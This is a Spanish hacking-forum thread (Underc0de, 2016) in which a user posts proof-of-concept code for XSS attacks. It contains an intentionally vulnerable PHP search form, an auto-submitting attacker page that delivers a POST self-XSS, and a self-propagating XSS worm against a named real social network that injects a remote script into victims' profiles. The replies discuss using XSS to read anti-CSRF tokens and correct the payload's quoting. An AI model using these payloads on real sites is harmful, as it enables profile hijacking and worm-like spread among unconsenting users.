comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Avanzando con las XSS's

  • 6 Respuestas
  • 2812 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 875
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« en: Septiembre 25, 2016, 02:18:00 pm »
Muy buenas Underc0ders, en el día de hoy me gustaría explicar Y hacer unas POC's, de algunas formas "nuevas" de poder explotar una XSS. Si no entendéis de lo que estoy hablando podríais empezar leyéndoos este You are not allowed to view links. Register or Login

Lo primero que quiero explicar es como se podría explotar una self XSS, este tipo de XSS se supone que es aquella que solo puedes ejecutarla tú desde tu máquina (y por lo tanto se considera un ejercicio de pura ingeniería social), funcionaría por el metodo POST y no quedaría en ninguna base de datos para que pudieran verlo el resto de usuarios, como puede ser un Mensaje Privado en una web. Un ejemplo es un buscador, pero que en lugar de funcionar enviando los parámetros por la url, se envían por método POST. Os dejo aquí el código que yo voy a usar para que podáis subirlo a un hosting y podáis hacer también la prueba.

Código: PHP
  1. <form action="buscar.php" method="POST">
  2. <input type="text" name="busqueda" />
  3. <input type="hidden" name="enviado" value="true" />
  4. <button type="submit">Enviar</button>
  5. </form>
  6.  
  7. <?php
  8.  
  9. $busqueda = $_POST["busqueda"];
  10. $enviado = $_POST["enviado"];
  11.  
  12. if($enviado == "true"){
  13.     echo "<p>No se encuentra la palabra " . $busqueda . ".</p>";
  14. }
  15.  
  16. ?>     

Lo que nosotros vamos a hacer es copiar el form y subirlo a nuestro servidor de una manera que se envíe solo, y le mandaremos el link, ya como prefiráis para ejecutarle el código malicioso. La página en mi servidor ha quedado así.

Código: PHP
  1. <form id="myForm" action="url/buscar.php" method="POST">
  2. <input type="hidden" name="busqueda" value="<script>alert(0)</script>" />
  3. <input type="hidden" name="enviado" value="true" />
  4. <img src=x onerror="myFunction()">
  5. </form>
  6.  
  7. <script>
  8. function myFunction() {
  9.     document.getElementById("myForm").submit();
  10. }
  11. </script>

Y una vez el usuario pulsa el link de mi página maliciosa se ejecuta el self XSS.



La otra cosa que quería explicar es como podemos propagar un XSS, vamos a suponer que tenemos una red social (yo hice las pruebas You are not allowed to view links. Register or Login) en la cual encontramos una XSS, por ejemplo en el nombre en el perfil que es lo que ha sucedido esta vez. Entonces podríamos hacer que cuando alguien se metiese en nuestro perfil se le cambiase el nombre y se le pusiera el mismo payload y así, a su vez podría él infectar a una tercera persona. Pues en esto consistiría el proceso. ¿Y como lo hacemos?

Pues en realidad es sencillo, en este caso, hay muchas XSS's, y yo me voy a aprovechar de la que consiste en el tipo de raza de el animal. Al igual que antes vamos a hacer un HTML con un form, y ahora este form va a cambiar nuestro perfil.

Código: PHP
  1. <form id="myForm" action="http://www.facepets.es/usuario.php?dat=datos&mod=ok&mod=off&in=ok" method="POST">
  2. <input name="raza" type="hidden" value="<script type='text/javascript' src='url/archivo1.js'></script><p onclick='salir()'>ROLO</p>">
  3. <img src=x onerror="myFunction()">
  4. </form>
  5.  
  6. <script>
  7. function myFunction() {
  8.     document.getElementById("myForm").submit();
  9. }
  10. </script>

Si os fijáis esto lo que hace es modificar la raza de cualquiera que entre en este link, y en la raza  pone el script archivo1.js
Cuando alguien entra en el perfil de una persona con ese archivo le llevará al form y esto hará que se modifique el perfil. Así cualquier persona que entre en un perfil de alguien infectado quedará el también infectado. Por último os dejo el archivo1.js para que podáis probarlo.

Código: Javascript
  1. function salir()
  2. {
  3. window.location="url/Prueba 2/maligno.html";
  4. }
  5.  


Es posible que en estos dos casos haya una variable llamada csrf que es independiente para cada usuario y sirve para impedir este tipo de ataques y no se puedan hacer peticiones "Ilegítimas".

Espero que os haya gustado y sido de utilidad.

También me pueden seguir en Twitter si les hace ilusión: You are not allowed to view links. Register or Login

Saludos.

« Última modificación: Abril 01, 2018, 10:21:06 am por rollth »

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado seth

  • *
  • Underc0der
  • Mensajes: 264
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
« Respuesta #1 en: Septiembre 26, 2016, 12:59:15 pm »
Si hay xss podes leer el token anti csrf y mandar el form igual

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 875
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #2 en: Septiembre 26, 2016, 04:58:36 pm »
You are not allowed to view links. Register or Login
Si hay xss podes leer el token anti csrf y mandar el form igual

Depende del caso, pero se haría muy tedioso explicarlo también, por eso quise dejarlo ahí.

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado rand0m

  • *
  • Underc0der
  • Mensajes: 214
  • Actividad:
    0%
  • Reputación 0
  • Paso de cosas personales, déjame
    • Ver Perfil
« Respuesta #3 en: Octubre 01, 2016, 10:44:21 pm »
Tengo una duda con el fragmento de PHP:
Código: PHP
  1. <input type="hidden" name="raza" value="<script type="text/javascript src="url/archivo1.js""></script><p onclick="salir()">ROLO</p>" />
¿No tendrían que escaparse las comillas del script para que no nos cierre el valor de value?
Código: PHP
  1. <input type="hidden" name="raza" value="<script type=\"text/javascript src=\"url/archivo1.js\""></script><p onclick="salir()">ROLO</p>" />
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 875
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #4 en: Octubre 09, 2016, 07:02:26 pm »
You are not allowed to view links. Register or Login
Tengo una duda con el fragmento de PHP:
Código: PHP
  1. <input type="hidden" name="raza" value="<script type="text/javascript src="url/archivo1.js""></script><p onclick="salir()">ROLO</p>" />
¿No tendrían que escaparse las comillas del script para que no nos cierre el valor de value?
Código: PHP
  1. <input type="hidden" name="raza" value="<script type=\"text/javascript src=\"url/archivo1.js\""></script><p onclick="salir()">ROLO</p>" />

Tienes razón, estaba mal :(
Ya lo he modificado, muchas gracias por avisar.

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Desconectado rand0m

  • *
  • Underc0der
  • Mensajes: 214
  • Actividad:
    0%
  • Reputación 0
  • Paso de cosas personales, déjame
    • Ver Perfil
« Respuesta #5 en: Octubre 10, 2016, 06:43:22 am »
You are not allowed to view links. Register or Login
Tienes razón, estaba mal

Vale, vale. Es que pensé que era un código que habías utilizado durante una demo y me sorprendía que funcionase. Si lo fuiste escribiendo sobre la marcha me parece normal que hubiera una errata.

¡Buen post! De este post se podría dar un salto a You are not allowed to view links. Register or Login.
Podría vivir perfectamente con una mancha de pis en la alfombra, pero qué va, tío: Más complicaciones.

Conectado rollth

  • *
  • Underc0der
  • Mensajes: 875
  • Actividad:
    0%
  • Reputación 16
  • El conocimiento es libre.
    • Ver Perfil
    • Whateversec
    • Email
  • Twitter: @RoloMijan
« Respuesta #6 en: Octubre 10, 2016, 09:35:06 am »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Tienes razón, estaba mal

Vale, vale. Es que pensé que era un código que habías utilizado durante una demo y me sorprendía que funcionase. Si lo fuiste escribiendo sobre la marcha me parece normal que hubiera una errata.

¡Buen post! De este post se podría dar un salto a You are not allowed to view links. Register or Login.

La cuestión es que si lo probé y no funcionaba, entonces lo modifiqué en mi host para que funcionase y se me olvidó ponerlo bien en el post xD

Gracias por tu opinión :D

Rollth
Buen hacker mejor persona.
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Avanzando con las XSS's [PARTE 2]

Iniciado por rollth

Respuestas: 3
Vistas: 943
Último mensaje Marzo 22, 2018, 02:13:48 pm
por rollth